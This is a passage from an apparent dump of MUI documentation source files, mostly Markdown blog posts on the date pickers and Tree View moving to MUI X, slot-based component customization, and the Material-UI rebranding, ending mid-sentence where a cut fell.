    "content": "import TopLayoutBlog from 'docs/src/modules/components/TopLayoutBlog';\nimport { docs } from './lab-date-pickers-to-mui-x.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutBlog docs={docs} />;\n}\n"
  },
  {
    "path": "docs/pages/blog/lab-date-pickers-to-mui-x.md",
    "content": "---\ntitle: Date and Time Pickers are moving to MUI X\ndescription: Migrate to the new package to start building with our powerful Date and Time Pickers, now part of MUI X. Previously released MIT components will stay MIT.\ndate: 2022-04-03T00:00:00.000Z\nauthors: ['flaviendelangle']\ntags: ['MUI X', 'Product']\nmanualCard: true\n---\n\nAfter more than 18 months in the lab, the Date and Time Picker components have found a new home as part of MUI X.\nThis means we'll be dedicating even more time and effort to these complex components, to better meet the needs of both you and your users.\n\n## TL;DR\n\n- The Date and Time Pickers are one step closer to a stable release.\n- **No surprise licenses changes**. We are staying true to [our promises](https://mui-org.notion.site/Stewardship-542a2226043d4f4a96dfb429d16cf5bd). What's MIT stays MIT, and we're going forward with our [plan announced over a year ago](https://v5-0-6.mui.com/components/date-range-picker/) to move the date range picker to the commercial license.\n- Follow the [migration steps](/x/migration/migration-pickers-lab/)\n\n## What are Date and Time Pickers?\n\nDate and Time Pickers are interface controls that enable the user to select a date (or time) from a menu.\n\n<img src=\"/static/blog/lab-date-pickers-to-mui-x/date-time-picker.png\" width=\"2400\" height=\"1240\" loading=\"lazy\" alt=\"Date and Time Picker component\" />\n\n<p class=\"blog-description\">Date and Time Pickers using the default Material UI design</p>\n\nCommon design patterns include text inputs, dropdown lists, calendars, timelines, and scrolling pickers on mobile devices.\n\nThe user may need to select an individual date/time, or a range.\n\n## What is MUI X?\n\n[MUI X](/x/) is a collection of advanced components built for complex use cases.\n\nAs opposed to the MUI Core library, which leans on the open-source community for support, MUI X components require several full-time developers dedicated to engineering and ongoing maintenance.\n\nMUI X components are available under two licenses:\n\n- MUI X is MIT licensed, so free to use.\n- MUI X Pro includes the most advanced features, and is commercially licensed.\n\n## Why have the Date and Time Pickers been moved to MUI X?\n\nDate and Time Picker UI elements appear simple enough on the surface, but they are surprisingly complicated to engineer.\n\nWhen the Date and Time Picker components were ready to leave the lab, we had a choice to make: would they live in the MUI Core library, or should they become a part of MUI X?\n\nGiven the complex nature of these components, we decided that they would benefit most from the dedicated attention that they would receive from the X team.\n\nAnd by offering an even more advanced component package through our commercial license, we can continue to grow our team to better serve your needs.\n\nThe Date and Time Picker components are now available in two packages:\n\n- `@mui/x-date-pickers` has a [MIT license](https://unpkg.com/browse/@mui/x-date-pickers/LICENSE), it contains all the open-source components\n- `@mui/x-date-pickers-pro` has a [commercial license](https://unpkg.com/browse/@mui/x-date-pickers-pro/LICENSE), it contains all the MIT and commercially licensed components\n\n## Which components are only available in the Pro package?\n\nThe date range components can only be used with a commercial license.\n\nAll other Date and Time Picker components are available in `mui/x-date-pickers` and will remain MIT licensed and free forever.\n\n## How do I purchase a commercial license?\n\nVisit [the MUI Store](https://mui.com/store/items/mui-x-pro/) to purchase a commercial license.\n\n## How do I migrate?\n\nFollow the [migration steps](/x/migration/migration-pickers-lab/) by updating the package name and change from a default export to a named export:\n\n```diff\n-import DatePicker from '@mui/lab/DatePicker';\n+import { DatePicker } from '@mui/x-date-pickers/DatePicker';\n\n-import DateRangePicker from '@mui/lab/DateRangePicker';\n+import { DateRangePicker } from '@mui/x-date-pickers-pro/DateRangePicker';\n\n-import { DatePicker, DateRangePicker } from '@mui/lab';\n+import { DatePicker } from '@mui/x-date-pickers';\n+import { DateRangePicker } from '@mui/x-date-pickers-pro';\n // DatePicker is also available in `@mui/x-date-pickers-pro`\n```\n\nWe have prepared a codemod to help you migrate your codebase from `@mui/lab` to `@mui/x-date-pickers` or `@mui/x-date-pickers-pro`:\n\n```bash\nnpx @mui/codemod@latest v5.0.0/date-pickers-moved-to-x <path>\n```\n\n## Where is the Date and Time Picker documentation?\n\nYou can find the documentation for the picker components in the [MUI X docs](/x/react-date-pickers/).\n\n## What's next for the Date and Time Pickers?\n\nFor now, `@mui/x-date-pickers` and `@mui/x-date-pickers-pro` are in alpha.\nOur next goal is to work on the stability and API consistency of these components to prepare a stable release.\n"
  },
  {
    "path": "docs/pages/blog/lab-tree-view-to-mui-x.js",
    "content": "import TopLayoutBlog from 'docs/src/modules/components/TopLayoutBlog';\nimport { docs } from './lab-tree-view-to-mui-x.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutBlog docs={docs} />;\n}\n"
  },
  {
    "path": "docs/pages/blog/lab-tree-view-to-mui-x.md",
    "content": "---\ntitle: The Tree View is moving to MUI X\ndescription: Migrate to the new package to start building with our powerful Tree View, now part of MUI X. Previously released MIT components will stay MIT.\ndate: 2023-08-21T00:00:00.000Z\nauthors: ['flaviendelangle']\ntags: ['MUI X', 'Product']\nmanualCard: true\n---\n\nAfter more than 4 years in the lab, the [Tree View](https://mui.com/x/react-tree-view/) components have found a new home as part of MUI X.\nThis means we'll be dedicating even more time and effort to these complex components, to better meet the needs of both you and your users.\n\n## TL;DR\n\n- The Tree View is one step closer to a stable release.\n- **No surprise licenses changes**. We are staying true to [our promises](https://mui-org.notion.site/Stewardship-542a2226043d4f4a96dfb429d16cf5bd).\n  What's MIT stays MIT.\n  Therefore, all the existing features and future features of the Tree View will remain MIT and free to use.\n- Follow the [migration steps](/x/migration/migration-tree-view-lab/).\n\n## What is the Tree View?\n\nThe Tree View is a component to represent hierarchical data presented as nodes in a tree-like format.\n\nThe component allows to select one or multiple nodes.\n\n<video autoplay muted loop playsinline width=\"1500\" height=\"554\">\n  <source src=\"/static/blog/lab-tree-view-to-mui-x/treeview.mov\" type=\"video/mp4\">\n</video>\n\n## What is MUI X?\n\n[MUI X](/x/) is a collection of advanced components built for complex use cases.\n\nAs opposed to the MUI Core library, which leans on the open-source community for support, MUI X components require several full-time developers dedicated to engineering and ongoing maintenance.\n\nMUI X components are available under three licenses:\n\n- **MIT license**, which is free to use and includes all the current (and more to come) Tree View features.\n- **MUI X Pro**, a commercial license that offers features for handling large datasets and will include the most advanced features for Tree View, like virtualization.\n- **MUI X Premium**, which is also commercial and includes, in addition to the Pro features, tooling for data analysis.\n\n## Why did the Tree View move to MUI X?\n\nOnce a component is ready to leave the lab, it can either go to MUI X or MUI Core libraries.\n\nGiven the complex nature of the Tree View, it was a clear choice to group it with the other advanced components in MUI X.\n\nMoreover, new advanced features such as virtualization and drag and drop are already on the roadmap.\n\nThe Tree View components are now available in the `@mui/x-tree-view` package which is [MIT licensed](https://unpkg.com/browse/@mui/x-tree-view/LICENSE) and includes all the current (free forever) features.\n\n## How do I migrate?\n\nFollow the [migration steps](/x/migration/migration-tree-view-lab/) by updating the package name and change from a default export to a named export:\n\n```diff\n-import TreeView from '@mui/lab/TreeView';\n-import TreeItem from '@mui/lab/TreeItem';\n+import { TreeView } from '@mui/x-tree-view/TreeView';\n+import { TreeItem } from '@mui/x-tree-view/TreeItem';\n```\n\nor\n\n```diff\n-import { TreeView, TreeItem } from '@mui/lab';\n+import { TreeView, TreeItem } from '@mui/x-tree-view';\n```\n\nWe have prepared a codemod to help you migrate your codebase from `@mui/lab` to `@mui/x-tree-view`:\n\n```bash\nnpx @mui/codemod@latest v5.0.0/tree-view-moved-to-x <path>\n```\n\n## Where is the Tree View documentation?\n\nYou can find the documentation for the Tree View component in the [MUI X docs](/x/react-tree-view/).\n\n## What's next for the Tree View?\n\nFor now, `@mui/x-tree-view` is in alpha.\nOur next goal is to work on the stability and API consistency of its components to prepare a stable release in the next few months.\n\nPlease feel free to try out the component and provide any feedback you may have.\n\nHappy building!\n"
  },
  {
    "path": "docs/pages/blog/making-customizable-components.js",
    "content": "import TopLayoutBlog from 'docs/src/modules/components/TopLayoutBlog';\nimport { docs } from './making-customizable-components.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutBlog docs={docs} />;\n}\n"
  },
  {
    "path": "docs/pages/blog/making-customizable-components.md",
    "content": "---\ntitle: Strategies for building customizable components\ndescription: Explore the tradeoffs between different customization techniques, and how we landed on our strategy at MUI.\ndate: 2022-08-22T00:00:00.000Z\nauthors: ['alexfauquette']\ntags: ['MUI X', 'Material UI', 'Guide']\nmanualCard: true\n---\n\nMaterial UI's components are used by hundreds of thousands of developers worldwide, encompassing the full range of implementation from minor side projects to massive company websites.\n\nThis variety of users presents a dilemma for us as maintainers: hobbyists working on side projects want fully built components that work right out of the box, so they can focus on the application logic; many larger companies, by contrast, want to be able to fully customize components to respect their brand design.\n\nManaging these contradictory needs only becomes more difficult as component complexity increases.\n\nThis article reviews several different approaches that a developer might take to customize UI components, as well as the various tradeoffs associated with each method.\nAlong the way, we'll explore how these tradeoffs ultimately led to the solution that we've settled on for customizing Material UI components: the slot strategy.\n\n## Style modification\n\n(Don't need us to convince you to use a style library?\nFeel free to skip this section and move on to [Logic modification](#logic-modification).)\n\n### Good old CSS\n\nLet's start with the easiest part: modifying the style.\nThis will necessarily involve CSS—especially the notion of [specificity](https://developer.mozilla.org/en-US/docs/Web/CSS/Guides/Cascade/Specificity), which says that if an element is targeted by two CSS selectors, the browser will apply the more specific one.\nUsually this means that the selector with more classes applied to it is more specific and therefore takes precedence.\n\nFor example, if we look at the Material UI `Switch` component, we have multiple subcomponents that we could expect to modify.\nFor each of them, we assign a specific CSS class:\n\n<img src=\"/static/blog/making-customizable-components/switchHighlighted.png\" width=\"1384\" height=\"640\" loading=\"lazy\" alt=\"Switch component with highlighted subcomponents\" />\n\nNotice that each element is styled using only one CSS class—the thumb style, for example, is applied with the `css-jsexje-MuiSwitch-thumb` class, so any CSS selector that includes more than one class will override its style.\n\nI'm not a designer, so I made an ugly switch example using only CSS—\nyou can play around with it in [CodeSandbox](https://codesandbox.io/p/sandbox/fast-http-kv85p5?file=/src/App.js):\n\n<img src=\"/static/blog/making-customizable-components/uglySwitches.png\" loading=\"lazy\" alt=\"Switch customized with CSS\" width=\"1384\" height=\"640\" />\n\n```jsx\n<Switch className=\"uglySwitch\" />\n```\n\n```css\n/* two classes are more specific than the default single class selector */\n.uglySwitch .MuiSwitch-thumb {\n  background-color: green;\n}\n\n.uglySwitch .MuiTouchRipple-root {\n  border: 2px solid red;\n}\n\n.uglySwitch .MuiSwitch-track {\n  background-color: orange;\n  opacity: 1;\n}\n```\n\n### Let JavaScript generate the CSS\n\nMaybe you don't want to spend your time switching between CSS and JavaScript files, or writing long, cluttered stylesheets.\nTo avoid these problems you can integrate styles directly into your JavaScript code. 🎉\n\nBecause the level of customization varies across projects, Material UI's components can be customized in several different ways.\nFor more information on this topic, check out the [Material UI customization documentation](https://mui.com/material-ui/customization/how-to-customize/).\n\n## Logic modification\n\nStyling is not the only thing you need to customize.\nYou may have to modify the logic, which must be handled by the component itself.\n\n### Simply add a prop\n\nConsider a React UI component that lets users rate a product.\n\nThe default setting ranges from a score of 1 to 5.\nBut what if you need to increase it to 10?\nIn this case, you could add a `max` prop that tells the UI what the highest possible rating should be, making it simpler to customize.\n\nThis works well enough for a simple UI element, but what happens when the component in question has many more moving parts?\n\n### It's never that simple\n\nLet's play with a slightly more complex component: the [`DataGrid`](https://mui.com/x/react-data-grid/).\n\nThis component allows you to manage data by applying sorting, filtering, editing, exporting, and many other _-ings_.\n\nTo give you an idea of how complex this component can get, let's look at an example of a feature request for the `DataGrid` and think about how we could address it:\n\n:::info\n**[DataGrid] Sorting column options by alphabetical order**\n\nWhen I open the filter panel, the input listing the names of the columns is sorted according to column position.\nI would like to be able to sort it by alphabetical order.\n\n<img src=\"/static/blog/making-customizable-components/issueScreenshot.png\" width=\"817\" height=\"526\" loading=\"lazy\" alt=\"Screen shot of the filter panel with column selector un sorted\" />\n:::\n\nThis request makes sense.\nWhen you have a lot of columns, sorting them can make it easier to browse the list.\nBut how should we implement this kind of customization?\n\nAdding a prop called `filterPanelColumnInputSortingStrategy` could work, but please, don't do that.\n\nIt just doesn't scale.\n\nThere are too many different props that developers might need to modify.\nYou will end up with API documentation so long that it will take an eternity to scroll to the end—meaning nobody will read it.\n\n<video style=\"width: 500px;\" autoplay muted loop playsinline width=\"500\" height=\"281\">\n  <source src=\"/static/blog/making-customizable-components/bruce.mp4\" type=\"video/mp4\" />\n</video>\n\nInstead, consider these alternative solutions that can scale more efficiently with complex components:\n\n### Other solutions\n\n#### Don't bother with components\n\nPassing all the parameters as props of a single component doesn't work.\nSo why not just create no components at all?\n\nThat's not a joke—that's the approach of headless libraries such as [react-table](https://www.npmjs.com/package/react-table).\nInstead of providing working components, they provide hooks for managing the features and let developers build their components on top of it.\n\nIf you're willing to start from scratch, it can be a nice approach.\nUse one hook to manage filtering, another one to manage sorting, and then build your UI using returned values.\n\nThis approach can scale because you can scope parameters to individual features.\nThe filtering hooks will only take into account parameters impacting the filtering, and so on—so you can split your code feature by feature.\n\nBut because this is a fully custom approach, it will take the most amount of work relative to all other options to construct a functional UI.\nIf your main priority is to get up and running quickly, then this may not be a viable solution.\n\n#### Subdivide your components\n\nAnother approach I like is to provide subcomponents.\nThis is what we do for Material UI components such as the [Menu](https://mui.com/material-ui/react-menu/).\n\nThis is also the approach used by [react-admin](https://marmelab.com/react-admin/) to provide a customizable administration interface.\nHere is their quick start example:\n\nThe idea is to put the `Admin` component at the root level of the app.\nThis component a provider that's responsible for managing all data fetching and passing that data back to components.\n\nThe second important component is `ListGuesser` which defines how the data should be displayed.\n\n```jsx\nimport * as React from 'react';\nimport { Admin, Resource, ListGuesser } from 'react-admin';\nimport simpleRestProvider from 'ra-data-simple-rest';\n\nconst dataProvider = simpleRestProvider('https://domain.tld/api');\n\nexport default function App() {\n  return (\n    <Admin dataProvider={dataProvider}>\n      <Resource name=\"users\" list={ListGuesser} />\n    </Admin>\n  );\n}\n```\n\nIf you're unhappy with the rendering of the `ListGuesser`, then you can define your own components by reusing smaller components.\nIf you're unhappy with the smaller components, in turn, you can replace those with custom ones as well, and so on.\n\nSo you start with a component that's fully functional right out of the box, and you can rewrite any of its constituent elements as needed.\n\nThis approach has one major advantage: it gives you a lot of flexibility.\nFor example, you can easily modify the order of the components and their parent/children relationships.\n\nThis approach has also one major drawback: it gives you a lot of flexibility.\nFor example, you can easily modify the order of components in a bad way.\n_The more freedom, the more bugs_.\n\n##### Drawback example\n\nTo show you how easy it is to make a mistake using this technique, here is a personal example involving Material UI components.\n\nI recently tried to wrap a `TextField` component in a `FormControl`, and was frustrated when it didn't work.\nBut the reason why is quite simple: the `TextField` component is itself composed of an input wrapped inside of a `FormControl`, and neither TypeScript nor `console.error` messages could warn me that my rendered markup was redundant and broken.\n\n```jsx\n<FormControl>\n  <TextField>\n</FormControl>\n\n// Equivalent to\n\n<FormControl>\n  <FormControl>\n    <InputLabel />\n    <Input />\n    <FormHelperText />\n  </FormControl>\n</FormControl>\n```\n\nThis trade-off makes sense for react-admin, which is used for building complete websites.\nTheir users need complete freedom when it comes to rearranging components and introducing new components anywhere.\n\nBut MUI's products exist at a lower level.\nWe focus on the building blocks, not the entire website—though we do have [templates](https://mui.com/templates/) for that. 😉\nSo that's not the approach we took for the `DataGrid`.\n\n#### Keep a single component\n\nFor `DataGrid`, we wanted to make it as simple as possible to add the DataGrid to your application, so we stuck with the individual component structure, which is to say that to create a new data grid, all you need is `<DataGrid rows={...} columns={...} />`.\n\nTo customize this single component, we use what we call the slot strategy.\n\n## The slot solution\n\nNow we are back to the original problem: how to provide deep customization options for a single component. Let's look at how we use slots to balance the freedom to customize with the need to avoid building from scratch.\n\n### Overriding default components\n\nFirst let's modify the appearance of the grid.\nFor color, spacing, and other basic properties you have CSS, but not everything is style related.\n\nHere is a view of the grid with the filter panel open.\nThere's an **x** icon on the left side of the panel for deleting the current filter.\n\nSay you want to replace this **x** with a trash icon.\nYou can't do it with CSS—you need DOM modification to replace the SVG icon.\n\n<img src=\"/static/blog/making-customizable-components/FilterPanel.png\" loading=\"lazy\" width=\"1066\" height=\"720\" alt=\"Default view of filter panel\" />\n\nTo manage such a scenario, the `DataGrid` has a prop called `components`.\nThis prop lets you replace some internal grid components with your own custom ones.\n\nIn this case, the component to replace is the `FilterPanelDeleteIcon`, which becomes `DeleteIcon`:\n\n```jsx\n<DataGrid {...data} components={{ FilterPanelDeleteIcon: DeleteIcon }} />\n```\n\nThat's all it takes.\nFor every icon, there is a corresponding key in `components` that we call a slot.\nIf you provide a component to a slot, your component will be used instead of the default one.\n\nBeyond swapping out icons, you can also plug native HTML elements into component slots, making it simple to customize the DOM structure of any component to suit your needs.\n\n### Passing props\n\nSlots are great for customizing the style and structure of small components.\nBut what about a situation like the aforementioned [feature request](#its-never-that-simple), where we need to modify the logic of the Data Grid's column selector?\n\nWe can't provide a slot to override the selector alone, or else we would need to provide one for all of the inputs and buttons, which are too numerous to keep track of.\n\nWe could use a slot to override the filter panel.\nWe provide this slot just in case you need a fully customized panel.\nBut honestly, who wants to rewrite an entire component just for simple sorting options?\n\nInstead, what would be nice is to have a prop called `columnsSort` that lets you sort the column selector in ascending and descending order.\nBy adding this prop to the default filter panel, we can derive a customized panel like this:\n\n```jsx\nimport { GridFilterPanel } from '@mui/x-data-grid';\n\nfunction CustomFilterPanel(props) {\n  return <GridFilterPanel {...props} columnsSort=\"asc\" />;\n}\n```\n\nBut this strategy of adding props to customize components is a bit verbose.\nSo we added a way to pass props to an existing component using `slotProps`.\nYou can pass props to every slot on `slots` using `slotProps`.\n\nHere's how to pass `columnsSort='asc'` to the filter panel slot:\n\n```jsx\n<DataGrid\n  componentsProps={{\n    filterPanel: {\n      columnsSort: 'asc',\n    },\n  }}\n/>\n```\n\nThis way of passing props is nice, because it scopes them.\nProps for the filter panel live together in `componentProps.filterPanel`.\nAnd the same goes for the toolbar, the column menu, and all other components.\n\nIt also works pretty well with TypeScript autocomplete, because none of the slots have very many props.\nSo as soon as you've specified which slot you want to pass props to, your IDE will make good recommendations.\n\n## What should I use?\n\nIf your goal is to customize the style, please don't start from scratch—use libraries to manage your CSS.\nBy adhering to solid class management standards, you should be able to provide styles that are easy to override.\n\nYou should add props to a component only if they impact the entire component—for example, disabling filtering impacts the whole grid, so a prop would be a viable solution here.\n\nYou should add slots to override icons, because it's common to need to replace them, so it should be easy to do.\n\nSlots should also be added when your component is somewhat independent from the main one.\nFor example, a grid can exist without its filter panel, or without its toolbar.\n\n## Customization is key\n\nIn our last two annual [Developer Surveys](/blog/2021-developer-survey-results/), our users made it clear that customization is always a top priority when choosing a UI library.\n\nThanks to the slot strategy and the introduction of supplementary tools like [MUI System's `sx` prop](https://mui.com/system/getting-started/the-sx-prop/), it has never been easier to customize Material UI's components to suit your specific needs.\n\n[Material UI](https://mui.com/material-ui/getting-started/) and [Joy UI](https://mui.com/joy-ui/getting-started/) are designed to be both beautiful and flexible right out of the box, while [Base UI](https://v6.mui.com/base-ui/getting-started/) gives you the most freedom to implement your own custom styling solution.\n[MUI X](https://mui.com/x/introduction/) is comprised of fully featured complex components like the `DataGrid` which—as we've seen—can still be customized in many ways with minimal friction.\n\nGet started building with the MUI X Data Grid by [installing the MIT-licensed Community package](https://mui.com/x/react-data-grid/quickstart/) today.\nAnd be sure to let us know what you think about the customization experience!\n"
  },
  {
    "path": "docs/pages/blog/march-2019-update.js",
    "content": "import TopLayoutBlog from 'docs/src/modules/components/TopLayoutBlog';\nimport { docs } from './march-2019-update.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutBlog docs={docs} />;\n}\n"
  },
  {
    "path": "docs/pages/blog/march-2019-update.md",
    "content": "---\ntitle: March 2019 Update\ndescription: Here are the most significant improvements in March.\ndate: 2019-04-05T00:00:00.000Z\nauthors: ['oliviertassinari']\ntags: ['Company']\nmanualCard: true\n---\n\nHere are the most significant improvements in March:\n\n- We have removed the old styles modules 💅.\n  Be aware of the difference between `@material-ui/core/styles` and `@material-ui/styles`.\n- The community has helped us to add many TypeScript demo variants. In order to minimize the overhead of handling two variants per demo (JavaScript & TypeScript), the JavaScript variant is generated from the TypeScript variant. If you are using TypeScript, you can ignore the `.propTypes =` assignations.\n- We have migrated a few demos from the `withStyles()` API to the `makeStyles()` API.\n  If you are wondering which you should use, we would encourage the use of `makeStyles()` where possible. `withStyles()` is interesting for overriding component styles or for handling legacy class logics.\n- We have made the [Box API](/system/react-box/) stable 🥳.\n\n  ```diff\n  -import { unstable_Box as Box } from '@material-ui/core/Box';\n  +import Box from '@material-ui/core/Box';\n  ```\n\n- We have committed to [a new Roadmap](/material-ui/discover-more/roadmap/) (prioritized) for the next 6 months.\n- We have migrated 50% of the codebase from the Classes API to the Hooks API. Once we are done with this task we can remove the internal usage of higher-order components.\n- We have introduced [a simplified server-side rendering API](https://v6.mui.com/system/styles/advanced/#server-side-rendering), inspired by styled-components.\n\n## Our roadmap intent for April\n\n_(We'll do our best, no guarantee!)_\n\n- We are almost done with [the v4.0.0-alpha breaking changes](https://github.com/mui/material-ui/issues/13663). You can already find [the upgrade path](/material-ui/migration/migration-v3/) from v3 to v4 in the documentation. Next, we will release the first beta version (no more breaking changes).\n  The results of the Material UI Developer Survey suggested that there are too many breaking changes.\n  Don't worry, it's almost over! We will focus on providing more components once we have released v4 stable.\n- We will continue, and hopefully complete, the tasks we undertook:\n  - TypeScript demo variants.\n  - Migration from Classes to Hooks, removal of unnecessary internal components.\n  - Removal of `findDOMNode()`, support of `StrictMode`, forward of references.\n- ❓ Please upvote our [GitHub issues](https://github.com/mui/material-ui/issues) if you want something specific. The number of 👍 helps us to prioritize.\n"
  },
  {
    "path": "docs/pages/blog/marija-najdova-joining.js",
    "content": "import TopLayoutBlog from 'docs/src/modules/components/TopLayoutBlog';\nimport { docs } from './marija-najdova-joining.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutBlog docs={docs} />;\n}\n"
  },
  {
    "path": "docs/pages/blog/marija-najdova-joining.md",
    "content": "---\ntitle: Marija Najdova joins MUI\ndescription: We are excited to share that Marija Najdova has joined MUI. She has started this week full-time and is now part of the community team.\ndate: 2020-09-15T00:00:00.000Z\nauthors: ['oliviertassinari']\ntags: ['Company']\nmanualCard: true\n---\n\nWe are excited to share that [Marija Najdova](https://x.com/marijanajdova) has joined MUI. She has started this week full-time, and is now part of the community team.\n\nBefore joining MUI, Marija worked on the React implementation of [Fluent UI](https://www.microsoft.com/design/fluent/) at Microsoft. She's passionate about React, design systems, and component driven development. At Microsoft, as part of the Fluent UI core team since 2018, she was responsible for the icons, animations and various theme related features.\n\nMarija is off to a running start, having made important changes happen during her free time, even before starting! These include a new structure for the theme object, as well as the ability to [add custom variants](https://mui.com/material-ui/customization/theme-components/#creating-new-component-variants) in v5:\n\nShe is now actively working on the unstyled components and [the update of the style engine](https://github.com/mui/material-ui/issues/22342). These are two items we've been eager to push forward since the release of v1 but that required someone to be dedicated to tackling them.\n\nThe community team will continue developing the foundations on which to build great design systems.\n\nWe couldn't be more excited to have Marija on the team! You can follow her on [X](https://x.com/marijanajdova).\n"
  },
  {
    "path": "docs/pages/blog/material-ui-2024-updates.js",
    "content": "import TopLayoutBlog from 'docs/src/modules/components/TopLayoutBlog';\nimport { docs } from './material-ui-2024-updates.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutBlog docs={docs} />;\n}\n"
  },
  {
    "path": "docs/pages/blog/material-ui-2024-updates.md",
    "content": "---\ntitle: Material UI 2024 end-of-year updates\ndescription: Recapping our biggest accomplishments for Material UI this year; plus, a look at what's to come in 2025.\ndate: 2024-12-11T00:00:00.000Z\nauthors: ['diegoandai', 'alelthomas']\ntags: ['Material UI', 'Product']\nmanualCard: true\n---\n\nAs the end of the year approaches, we want to take some time to review some of this year's highlights for Material UI and update you on what you can expect moving forward.\n\n## Material UI v6 release and support\n\nWe released Material UI v6 in August, offering new features, fixes, and a smoother migration experience.\nSo far, almost a million users have successfully migrated.\n\nThe reception for the new version has been very positive, and we hope many more users can migrate in the upcoming months.\n\nOur focus has been on responding to v6-related issues to support your migration. We thank everyone in the community who has helped by reporting or fixing problems and encourage everyone else to migrate. We are happy and ready to help!\n\n## React 19 support\n\nAs of today, Material UI v5 and v6 support React 19. This has been one of our main focuses during the second half of 2024.\n\nWe've worked hard to ensure that the upgrade experience is as seamless as possible, and we're very grateful to all the community members who've been testing it out and reporting issues.\n\n## Material Design 3\n\nA year ago, we shared that we expected to have a Material Design 3 implementation ready by the end of 2024.\nDue to the more pressing efforts mentioned above, we have not been able to deliver on this yet.\n\nUpdating the library's look and feel in such a big way is an incredibly complex undertaking that can't be rushed.\nWe're committed to providing the best experience for all users and use cases, and we're working hard to determine the best way to accomplish that.\nThis is one of our top priorities for 2025, and we'll keep you updated on our progress as soon as we have more definitive details to share.\nThank you for your continued patience.\n\n## Looking towards 2025\n\nWe're planning a new major release for the first half of 2025: Material UI v7.\n\nThis version will fix issues that require breaking changes, including the long-awaited ESM support improvements, and other small fixes.\nWhile v7 won't contain visual updates since its sole focus is fixing bugs, rest assured that we will be working on updating the look and feel in parallel.\n\n## Follow along\n\nFeel free to leave your feedback on these new features and fixes in our [GitHub](https://github.com/mui/material-ui). We'd love to chat with you and are as excited as everyone to update how Material UI looks and feels.\n\nThank you for your continued support, we're excited to go into 2025 with you! 🎉\n"
  },
  {
    "path": "docs/pages/blog/material-ui-is-now-mui.js",
    "content": "import TopLayoutBlog from 'docs/src/modules/components/TopLayoutBlog';\nimport { docs } from './material-ui-is-now-mui.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutBlog docs={docs} />;\n}\n"
  },
  {
    "path": "docs/pages/blog/material-ui-is-now-mui.md",
    "content": "---\ntitle: Material-UI is now Material UI!\ndescription: Starting today, we are evolving our brand identity. We are clarifying the difference between our company and our products.\ndate: 2021-09-16T00:00:00.000Z\nauthors: ['oliviertassinari', 'danilo-leal', 'mbrookes']\ntags: ['Material UI']\nmanualCard: true\n---\n\n<img src=\"/static/blog/material-ui-is-now-mui/intro.png\" alt=\"The new Material UI logo\" width=\"2400\" height=\"800\" />\n\nStarting today, we are evolving our brand identity to clarify the difference between our company and our products.\n\n- Material-UI: the Material Design components developed by MUI is now called **[Material UI](https://mui.com/material-ui/getting-started/)**, we ditched the hyphen!\n- Material-UI: the organization is now called **[MUI](https://github.com/mui)**.\n- Material-UI X: the set of advanced React components is now called **[MUI X](https://github.com/mui/mui-x)**.\n- Material-UI: the set of foundational MIT React components is now called **[MUI Core](https://github.com/mui/material-ui)**.\n\nOur previous name was no longer serving our areas of focus.\nWe have grown our product offering.\nWe needed a new identity to match our increased scope.\n\n## The origin\n\nMaterial UI [started](https://www.text-em-all.com/blog/material-ui-the-internet-found-our-ui-project) as a React implementation of the Material Design guidelines in 2014.\nThe goal was simple, to empower React developers to use Material Design.\nThe community [loved it](https://news.ycombinator.com/item?id=8582439) and was craving for more, so we kept building.\n\nWe made it easy for the community to contribute and started actively reviewing pull requests and guiding issues.\nOver 2,200 developers have cared enough about our mission to contribute, so far.\nThings started to really take off with [the release of v1](/blog/material-ui-v1-is-out/) in 2018.\nThe frontend community was actively migrating to React, but didn't have the bandwidth to rebuild legacy interfaces from scratch,\nso before we knew it, we had grown into the most popular React UI component library.\nThe components were heavily used and customized to build customer-facing applications, internal tools, and mobile-hybrid apps.\n\n## A larger focus\n\nIn our last survey, the number of developers that commented about improving the Material Design implementation was down by [60%](/blog/2020-developer-survey-results/#comparison-with-last-year) compared to the year before.\nAt the same time, 5X more developers were struggling to customize the components.\n\nIt was based on this context that we started work on v5 in 2019.\nOur primary focus was to revamp the **customization Developer Experience (DX)**.\nIt had become clear that design (aesthetic, UX) and DX were key to unlocking the next stage of growth.\n\nThe new brand supports the [v5.0.0 release](/blog/mui-core-v5/) while also creating space for new initiatives that broaden the company horizon. It's a big deal!\nOur ultimate goal is to become the most effective and efficient tool to build UIs while making it accessible to the many.\n\n## Our new brand\n\n### A new name\n\nWe are breaking the strong association with Material Design\nas we have seen too many people confusing Material UI with Google or as a synonym of Material Design.\n\nWe are now called **MUI**. It stands for **M**aterial to build **UI**s\nand is pronounced [/ɛm juː aɪ/](https://ipa-reader.com/?text=%C9%9Bmju%CB%90a%C9%AA).\n\nIt's shorter, it distinguishes us, and it's familiar – many people already used it for abbreviating Material UI.\nMore importantly, it allows for the release of products not directly coupled to Material Design, such as an unstyled/headless version of the components, a brand new second design system as an alternative to MD, and more ambitious initiatives.\n\n### A new domain name\n\nA new name wouldn't be so official without a new domain,\nso we have moved home from https://material-ui.com/ to https://mui.com/, a very easy to type (and find) domain.\n\n### New logos\n\nWe've tightened up the company logo to match the new brand.\n\nIt's basically the same, to keep it familiar –\nwe're keeping the geometrical shape, to resonate with the _building blocks_ idea of the components –\nhowever, we're reducing the emphasis on the 3D perspective, stepping away from the notion of elevation that Material Design coined.\n\n<img loading=\"lazy\" src=\"/static/blog/material-ui-is-now-mui/old-new.png\" alt=\"Side-by-side of the new and old logo\" width=\"2400\" height=\"800\" />\n\nTo better identify, market, and promote each product, we're introducing logos for each one of them.\n\n<img loading=\"lazy\" src=\"/static/blog/material-ui-is-now-mui/products.png\" alt=\"Logos for MUI Core, MUI X and Templates\" width=\"2400\" height=\"1000\" />\n\n- **MUI Core** contains ready-to-use foundational components, free forever.\n- **MUI X** includes advanced and powerful components for complex use-cases.\n- **Templates** is a collection of fully built, out-of-the-box, React templates for your application. They are developed by the community curated by us for quality.\n\n### New package names\n\nThe package names have changed in v5, which is a **breaking change**.\nYou can find more details in the [release](https://github.com/mui/material-ui/releases/tag/v5.0.0) [notes](https://github.com/mui/mui-x/releases/tag/v4.0.0).\nThe npm organization name (scope) has moved from @material-ui to [@mui](https://www.npmjs.com/org/mui).\n\n### A new website & documentation\n\nLastly, to celebrate the start of a new chapter for the company with the release of v5.0.0, and new products in the making, we're introducing a brand new website and documentation design. You'll find a completely different theme from Material Design – new typeface, 